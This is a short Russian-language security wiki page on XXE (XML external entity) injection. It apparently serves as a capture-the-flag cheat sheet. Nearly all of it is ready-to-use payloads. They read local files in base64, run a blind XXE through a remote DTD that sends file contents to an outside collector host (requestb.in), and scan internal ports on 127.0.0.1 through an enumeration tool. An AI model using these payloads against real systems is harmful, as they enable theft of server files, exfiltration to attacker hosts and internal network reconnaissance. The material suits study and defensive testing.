Xxe
Материал из InformationSecurity WIKI
Версия от 17:03, 1 ноября 2016; Drakylar (обсуждение | вклад) (Новая страница: « ==Поиск уязвимости== ==Эксплуатация== ===Чтение локальных файлов=== Код для чтения лок. фа…»)
Содержание
Поиск уязвимости
Эксплуатация
Чтение локальных файлов
Код для чтения лок. файлов, вывод закодирован в base64:
1 <?xml version='1.0' standalone='yes'?>
2 <!DOCTYPE plot [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/flag">]>
3 <root>&xxe;</root>
В случае со слепой XXE:
Отсылаемый код:
1 <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE root [
3 <!ENTITY % remote SYSTEM "http://site/xxe.dtd">
4 %remote;]>
5 <root/>
Хранящийся по URL'у (http://site/xxe.dtd):
1 <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/flag">
2 <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://requestb.in/xxxxxxxx?xxe_local=%payload;'>">
3
4
5 %int;
6 %trick;
Сканирование портов
Запускать нужно с Intruder'ом или другой утилитой, позволяющей перебирать значение $$ (1-65535):
1 <?xml version='1.0' standalone='no'?>
2 <!DOCTYPE plot [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:$$">]>
3 <root>&xxe;</root>
Примеры тасков
Райтапы
Утилиты